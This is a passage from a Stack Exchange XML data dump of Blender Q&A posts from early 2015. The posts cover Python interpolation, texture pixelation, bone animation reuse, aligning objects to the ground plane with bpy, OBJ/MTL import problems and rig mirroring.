ob_act[p]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that properties will added or overwritten, but not removed if the target has some the source does not have. You could change that by deleting all Custom Properties of the target before copying the properties from the source object.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-02-01T22:27:25.430" LastActivityDate="2015-02-01T22:27:25.430" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24005" PostTypeId="1" CreationDate="2015-01-30T11:31:16.617" Score="1" ViewCount="264" Body="&lt;p&gt;How to mix/interpolate values in blender-python? I tried to google but i did not find the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Java, C, GLSL there are some methods which do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;val3 = mix(val1, val2, mix_val)&#xA;# or&#xA;val3 = interpolate(val1, val2, mix_val)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1) How mix two float values? Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;val1 = 10.0&#xA;val2 = 0.0&#xA;mix_val = 0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) How to interpolate float values of two arrays? Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array_val1 = [10.0, 2.5, 3.0]&#xA;array_val2 = [0.0, 12.0, 75.0]&#xA;mix_val = 0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2015-01-30T11:31:16.617" Title="Python: mix/interpolate values" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-01-30T16:52:45.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="24006" PostTypeId="1" AcceptedAnswerId="24010" CreationDate="2015-01-30T13:11:40.703" Score="1" ViewCount="826" Body="&lt;p&gt;i was creating a 3D Eye on Blender and i added a Diffuse image texture map, and it reflects an Hdri image, as you can see, the blue part of the eye doesnt reflect this (fig 1.), it's weird since it's only a single geometry with a single texture...It is possible to make it look better, like the image is reflected on all the geometry? (fig 2.)&#xA;Does anyone know what to do?&#xA;&lt;strong&gt;Or how can i make the Fig 1. looks like exactly the Fig 2.?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6PIqi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-01-30T13:26:57.467" LastActivityDate="2015-01-30T14:04:30.167" Title="Diffuse BSDF texture on cycles doesn't reflect the Hdri in some parts?" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24007" PostTypeId="1" CreationDate="2015-01-30T13:12:22.213" Score="1" ViewCount="178" Body="&lt;p&gt;I am using cutaway view with &lt;a href=&quot;https://blender.stackexchange.com/questions/8600/how-can-i-easily-animate-cutaway-views-on-multiple-objects&quot;&gt;camera clipping&lt;/a&gt;, and managed to show the cut area by geometry node, looks soo good, but see the image there is a cube with room inside,&#xA;it is black because no light can pass through...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you agree - it looks awful ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I uncheck &quot;Ray Visibility&quot; of the object with Shadow or Diffuse it also doesn't look so good because shadows of the objects are missing in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a node trick to bring light into the darkness...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a solution I also could add a pointlight into the geometry...&#xA;but is there anyting better ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/axboj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9543" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-04-20T22:02:36.137" Title="Object inner is black with clipping camera for cutaway view - add inner lighting?" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;light&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24008" PostTypeId="1" AcceptedAnswerId="24012" CreationDate="2015-01-30T13:38:47.750" Score="22" ViewCount="6088" Body="&lt;p&gt;I've been creating various camouflage patterns using Cycles material nodes. Now I want to create a digital camouflage pattern like the one below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VY5Bk.jpg&quot; alt=&quot;Digital Camouflage&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was to pixelate a noise pattern. I've tried to do so but haven't been able to find a way to. So my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to pixelate a procedural texture such as noise? Or is there another way I could create this pattern using cycles nodes?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="530" LastEditorUserId="530" LastEditDate="2015-02-04T01:11:59.793" LastActivityDate="2021-01-24T06:13:47.553" Title="How to pixelate a texture in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="24009" PostTypeId="2" ParentId="23952" CreationDate="2015-01-30T13:59:32.173" Score="1" Body="&lt;p&gt;Have you tried changing these settings to get things looking the way you would like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click and drag over the spheres to change the light direction and click the color bars to activate a color selector popup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PyH0o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-01-30T13:59:32.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24010" PostTypeId="2" ParentId="24006" CreationDate="2015-01-30T14:04:30.167" Score="5" Body="&lt;p&gt;The reflection is working properly, the problem is that your eye model is not a perfect sphere. the area that is extruded inwards distorts the reflection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it look like a physical eye you will need to create another sphere outside of the one you have and set it as a glass shader. then you will have the reflections you want.&lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2015-01-30T14:04:30.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24011" PostTypeId="1" CreationDate="2015-01-30T14:16:28.603" Score="1" ViewCount="446" Body="&lt;p&gt;I have a animated bone : translation on Y with ipo keys,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can I use this exact data (linked) with another bone - starting on a later frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or how is a proper workflow for this...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe nla?&lt;/p&gt;&#xA;" OwnerUserId="9543" LastActivityDate="2015-01-30T16:29:59.487" Title="Can I use the the animation/action from one bone on another bone on a later time?" Tags="&lt;animation&gt;&lt;bones&gt;&lt;linked-data&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24012" PostTypeId="2" ParentId="24008" CreationDate="2015-01-30T14:59:54.383" Score="42" Body="&lt;p&gt;This is done with rounding the mapping vectors.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qcShk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qcShk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The resolution for X and Y can be set with value nodes.&lt;/p&gt;&#xA;&lt;p&gt;It will work for any texture (for 3D texture just copy the rounding nodes into the Z channel) and you have separate controls for X and Y resolutions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WOqbK.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WOqbK.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you also surround the Multi-Round-Divide nodes with Add and Subtract you can change the center point of effect (add and subtract the same number..)&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="92768" LastEditDate="2021-01-23T02:58:13.787" LastActivityDate="2021-01-23T02:58:13.787" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24013" PostTypeId="1" CreationDate="2015-01-30T15:17:59.543" Score="1" ViewCount="234" Body="&lt;p&gt;i'm modeling a 3D rabbit...does Blender have a option to add 'noise' to the geometry? like a sphere or a cube? i need it to do the tail, that looks like a cotton ball or something like that.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-30T15:17:59.543" Title="Is it possible to add Noise to a Geometry?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-30T15:50:52.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="24014" PostTypeId="2" ParentId="24011" CreationDate="2015-01-30T16:29:59.487" Score="1" Body="&lt;p&gt;Yes, when you keyframe a bone an action will be created. To assign the same action to another bone just switch to the &lt;em&gt;Dope Sheet&lt;/em&gt; set &lt;em&gt;Action Editor&lt;/em&gt; mode and select the action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AYN9W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the NLA you can arrange the actions e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RxzlH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-30T16:29:59.487" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24015" PostTypeId="1" AcceptedAnswerId="24018" CreationDate="2015-01-30T16:39:32.137" Score="4" ViewCount="3543" Body="&lt;p&gt;I put a model at the center of the scene using this method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.origin_set(type=&quot;GEOMETRY_ORIGIN&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I can't put model over the scene after this command. Because it is not at the center of Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.:&#xA;when comman is executed model location looks like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ajhQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.origin_set(type=&quot;GEOMETRY_ORIGIN&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will put model to the center about all axis, and I can just pick it up at half height&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.location[2] += obj.dimensions[2]/2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but after this I had:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/phhJZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find this offset value?&lt;/p&gt;&#xA;" OwnerUserId="11231" LastEditorUserId="3710" LastEditDate="2015-01-30T18:49:49.250" LastActivityDate="2017-04-19T10:50:55.173" Title="How to place objects on the center of the ground plane via python?" Tags="&lt;python&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24017" PostTypeId="2" ParentId="23966" CreationDate="2015-01-30T17:52:40.097" Score="14" Body="&lt;p&gt;Another way is to use combination of modifiers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a plane, offset its origin;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Hook&lt;/strong&gt; the whole plane to a new empty object (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;);&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Screw&lt;/strong&gt; modifier, set step to 4, rotate the two objects 45° along global Z;&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Lattice&lt;/strong&gt;, which is used to tweak the shape;&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Wireframe&lt;/strong&gt; modifier;&lt;/li&gt;&#xA;&lt;li&gt;Animate by rotating along local X (or Y, Z) of that empty object.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z1ldW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3cEdIbU4zdUhGMms/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-12-17T00:51:30.800" LastActivityDate="2015-12-17T00:51:30.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24018" PostTypeId="2" ParentId="24015" CreationDate="2015-01-30T17:56:35.313" Score="4" Body="&lt;p&gt;The &lt;strong&gt;position of the object&lt;/strong&gt; is defined by it's &lt;strong&gt;origin point&lt;/strong&gt;. If you import a model from another 3d package by using an exchange format like &lt;code&gt;.obj&lt;/code&gt; or &lt;code&gt;.fbx&lt;/code&gt;, the origin is typically at &lt;code&gt;(0,0,0)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lueQg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to &lt;strong&gt;align an object directly to the ground plane&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Move the &lt;strong&gt;object to the origin&lt;/strong&gt; (to make sure the object is perfectly centered)&lt;/li&gt;&#xA;&lt;li&gt;Iterate through the geometry to &lt;strong&gt;find the minimum z location value&lt;/strong&gt; of all verticies&lt;/li&gt;&#xA;&lt;li&gt;Place the &lt;strong&gt;3d Cursor&lt;/strong&gt; to the minimum z location value&lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;strong&gt;Origin&lt;/strong&gt; to 3d Cursor&lt;/li&gt;&#xA;&lt;li&gt;Move the object to &lt;code&gt;(0,0,0)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SebxY.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Suzanne aligned to the center of the ground plane&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# get the current object&#xA;current_obj = bpy.context.active_object &#xA;&#xA;# get the scene&#xA;scene = bpy.context.scene&#xA;&#xA;# set geometry to origin&#xA;bpy.ops.object.origin_set(type=&quot;GEOMETRY_ORIGIN&quot;)&#xA;&#xA;zverts = []&#xA;&#xA;# get all z coordinates of the vertices&#xA;for face in current_obj.data.polygons:&#xA;    verts_in_face = face.vertices[:]&#xA;    for vert in verts_in_face:&#xA;        local_point = current_obj.data.vertices[vert].co&#xA;        world_point = current_obj.matrix_world * local_point&#xA;        zverts.append(world_point[2])&#xA;&#xA;# set the minimum z coordinate as z for cursor location&#xA;scene.cursor_location = (0, 0, min(zverts))&#xA;&#xA;# set the origin to the cursor&#xA;bpy.ops.object.origin_set(type=&quot;ORIGIN_CURSOR&quot;)&#xA;&#xA;# set the object to (0,0,0)&#xA;current_obj.location = (0,0,0)&#xA;&#xA;# reset the cursor&#xA;scene.cursor_location = (0,0,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-05-24T13:25:17.063" LastActivityDate="2015-05-24T13:25:17.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24019" PostTypeId="1" AcceptedAnswerId="24023" CreationDate="2015-01-30T18:51:32.793" Score="0" ViewCount="4731" Body="&lt;p&gt;I'm trying to import a bunch of models from OBJ files (with their MTL files) to a blender scene that I have.&#xA;When using Blender Render the materials and textures are imported successfully.&#xA;But when using Cycles Render the material names are imported, but not their actual data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behavior is also noted by &lt;a href=&quot;https://blender.stackexchange.com/questions/7790/how-can-i-get-a-mtl-file-to-show-on-an-obj-model-i-imported-in-cycles&quot;&gt;How can I get a .MTL file to show on an .OBJ model I imported in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a workaround for this? I prefer to use Cycles for my rendering (for using GPU devices, and node control).&lt;/p&gt;&#xA;" OwnerUserId="11261" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-01-30T19:58:01.477" Title="Textures and colors not imported from OBJ file when using Cycles render" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-01-31T20:04:13.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="24020" PostTypeId="1" AcceptedAnswerId="24024" CreationDate="2015-01-30T18:57:58.047" Score="19" ViewCount="57146" Body="&lt;p&gt;I'm trying to import an OBJ file that has associated MTL and PNG files. There's a similar question &lt;a href=&quot;https://blender.stackexchange.com/questions/7920/blender-isnt-importing-mtl-correctly-with-obj&quot;&gt;here&lt;/a&gt;, but the answer is not very helpful, I just see a big blob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rll.berkeley.edu/amazon_picking_challenge/data/champion_copper_plus_spark_plug/processed.tgz&quot; rel=&quot;noreferrer&quot;&gt;These are the files&lt;/a&gt; that I'm trying to import. Inside the textured meshes folder there's a few different versions of the object but none seem to import correctly with the texture applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also don't have access to the material and object (as well as a few other) buttons. (see the picture)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iE2EF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.71&lt;/p&gt;&#xA;" OwnerUserId="11318" LastEditorUserId="241" LastEditDate="2020-06-26T13:39:37.647" LastActivityDate="2021-04-22T16:23:05.347" Title="Importing OBJ with MTL and Image not working properly" Tags="&lt;import&gt;&lt;obj&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24021" PostTypeId="1" CreationDate="2015-01-30T18:58:17.160" Score="2" ViewCount="1308" Body="&lt;p&gt;Often, when sculpting, you are unintentionally creating deep creases with mesh hided inside of your model. Here are some screenshots of a quick example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tDuHK.png&quot; alt=&quot;Mesh&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B2k8K.png&quot; alt=&quot;Wire&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the real world it can happen when you model bended limbs or hair locks, or when joining 2 meshes together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is if there is a quick or &quot;right&quot; way to fix a situation like this? Because smoothing it &quot;till nothing left&quot; is not an option...&lt;/p&gt;&#xA;" OwnerUserId="11266" LastActivityDate="2015-01-30T18:58:17.160" Title="How to fight deep creases/intersecting mesh when sculpting?" Tags="&lt;sculpting&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24023" PostTypeId="2" ParentId="24019" CreationDate="2015-01-30T19:58:01.477" Score="2" Body="&lt;p&gt;As far as I know, cycles does not yet support importing materials due to the great difference in the way materials are designed in cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some plugins such as blender material to cycles node converter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Material/Blender_Cycles_Materials_Converter&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Material/Blender_Cycles_Materials_Converter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend importing while under blender internal renderer, than either hand creating the cycles nodes, or using this plugin to generate them.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-01-30T19:58:01.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24024" PostTypeId="2" ParentId="24020" CreationDate="2015-01-30T20:14:10.917" Score="26" Body="&lt;h2&gt;1. Check the obj file&lt;/h2&gt;&#xA;&lt;p&gt;In your case the obj is not exported correctly. &lt;strong&gt;Obj&lt;/strong&gt; is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;noreferrer&quot;&gt;human readable file format&lt;/a&gt; it is easy to find the issue. You can check this by open up the file in a text editor of your choice (sublime, gedit...).&lt;/p&gt;&#xA;&lt;p&gt;To check referenced materials go to these lines:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mtllib [external .mtl file name]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;usemtl [material name]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In your case &lt;code&gt;mtllib&lt;/code&gt; line is correct, but &lt;code&gt;usemtl&lt;/code&gt; is missing.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# OBJ FILE&#xA;...&#xA;f 3103/18700/18700 3081/18701/18700 3119/18702/18700&#xA;f 279/18703/18703 3118/18704/18703 274/18705/18703&#xA;f 265/18706/18706 3101/18707/18706 278/18708/18706&#xA;&#xA;# usemtl material name (reference to the .mtl file)&#xA;usemtl MyMaterialName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can find the material name in the &lt;strong&gt;mtl&lt;/strong&gt; file in this line: &lt;code&gt;newmtl [material name]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# MTL FILE&#xA;newmtl MyMaterialName&#xA;Ka 1.000 1.000 1.000     # white&#xA;Kd 1.000 1.000 1.000     # white&#xA;Ks 0.000 0.000 0.000     # black (off)&#xA;map_Ka myMap.jpg         # ambient texture map&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As last step check if the paths to the textures are &lt;em&gt;correct&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;map_Ka my-texture.jpg                           # points to texture in obj folder&#xA;map_Ka /home/user/images/my-texture.jpg         # absolute path on unix&#xA;map_Ka C:\\Users\\user\\images\\my-texture.jpg  # absolute path on windows&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Make sure that the filenames of your textures are correct and there are no &lt;em&gt;white spaces&lt;/em&gt; in the paths itself. Instead of pointing to the 'absolute path', you can also try Blenders &lt;a href=&quot;https://blender.stackexchange.com/questions/5368/why-are-all-the-textures-in-my-file-pink&quot;&gt;Find Missing Files&lt;/a&gt; operator. For further information about all the possibilities of obj's read this &lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;noreferrer&quot;&gt;wikipedia article&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;2. Apply the material&lt;/h2&gt;&#xA;&lt;p&gt;If the material is not applied to the imported object you can select it here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OyOJs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;3. Enable textures in the viewport&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If your textures are &lt;em&gt;pink&lt;/em&gt;, see: &lt;a href=&quot;https://blender.stackexchange.com/questions/5368/why-are-all-the-textures-in-my-file-pink&quot;&gt;Why are all the textures in my file pink?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;To display the texture in the viewport see: &lt;a href=&quot;https://blender.stackexchange.com/questions/5283/how-to-show-textures-in-editor&quot;&gt;How to show textures in the 3D View editor?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-10-09T17:24:44.113" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24026" PostTypeId="1" AcceptedAnswerId="24028" CreationDate="2015-01-30T20:33:16.293" Score="20" ViewCount="48736" Body="&lt;p&gt;I need to mirror the half part of the rigging of my character, I remember it was something with the scale or rotation.. does anyone know which was the right solution step-to-step?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HbAXY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="12" LastEditDate="2015-01-30T20:58:10.150" LastActivityDate="2018-12-07T16:10:43.533" Title="How can I copy one side of a rig to the other?" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24027" PostTypeId="2" ParentId="24026" CreationDate="2015-01-30T20:45:58.540" Score="3" Body="&lt;p&gt;I would recommend to use the x-mirror(makes work easier down the road). See the duplicate that NoviceInDisguise linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually, you can do this:&#xA;Set 3D-cursor to center. Then select rotation around 3D cursor.&#xA;Choose the bones you want to mirror, duplicate them(shift + d), press S for scale, then x and then press -1. Duplicate bones will mirror over z-axis.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-01-30T20:45:58.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24028" PostTypeId="2" ParentId="24026" CreationDate="2015-01-30T20:48:36.020" Score="26" Body="&lt;p&gt;In order to mirror a rig down the very middle, you'll need the 3d cursor reset (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;) and used as your 'Pivot Point' (&lt;kbd&gt;.&lt;/kbd&gt;). That'll determine the mirror center, so long as the rig itself is placed correctly in the center (0,0,0). Now Select any half of the armature (excluding the spine/middle) and duplicate it with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;, next press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; + &lt;em&gt;(the axis you are working along, usually  &lt;kbd&gt;X&lt;/kbd&gt;)&lt;/em&gt; to mirror it over to the other side. With the selection still instact, press &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Flip Names&lt;/em&gt; to update the names so something like &lt;em&gt;upper-arm.L&lt;/em&gt; becomes &lt;em&gt;upper-arm.R&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing this, the mirrored bones might have a different roll from the other side. To fix, select the original bones (can just invert selection with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; if you still have the mirrored side selected), enable &lt;em&gt;X-Axis mirror&lt;/em&gt; under &lt;em&gt;Armature Options&lt;/em&gt; in the toolshelf and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to fix the roll.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="19703" LastEditDate="2016-03-18T02:00:01.133" LastActivityDate="2016-03-18T02:00:01.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24029" PostTypeId="2" ParentId="24026" CreationDate="2015-01-30T20:49:03.220" Score="1" Body="&lt;p&gt;&lt;em&gt;I just remembered, to mirror a half part of the bones/skeleton you have to take all the bones on the half (left or right) part of the mirror, then press S (Scale) and -1, then rotate it with R (Rotation) on 180°, plus pressing X, then you will have the half part like a mirror.&lt;/em&gt;&#xA;&lt;em&gt;Also, the pivot should stay at median point pivot.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-30T20:49:03.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
